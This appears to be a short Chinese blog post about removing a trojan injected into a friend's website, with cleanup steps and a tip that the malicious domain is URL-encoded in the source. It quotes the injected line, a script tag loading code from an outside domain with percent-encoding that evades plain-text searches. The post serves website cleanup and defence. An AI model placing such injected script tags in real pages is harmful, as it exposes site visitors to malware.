有个朋友的博客网站被挂木马,每次访问都有360提示:
360提示为木马网站,木马网址为 http://r.tlinee.com.cn/
到360求助,几天没有反应,还自己动手吧。
仔细查看发现很多页面发现异常代码:
<script src=http://r.tlinee.co%6D%2Ecn></script>
二话不说动手吧:
1. 备份整个网站的源代码。
2. 搜索异常代码,然后进行删除。
这个其实是一个非常麻烦的工作,不过幸好有工具 SearchAndReplace。
3. 重启浏览器,继续打开你的网站,一切ok。
注意:
如果按照360提示的这个网址http://r.tlinee.com.cn/去搜的话,可能你会失望,第一次我也是这样。
木马在源代码中是这样写入的“r.tlinee.co%6D%2Ecn”。
所以在参考提示的时候,最好是自己看一下源代码。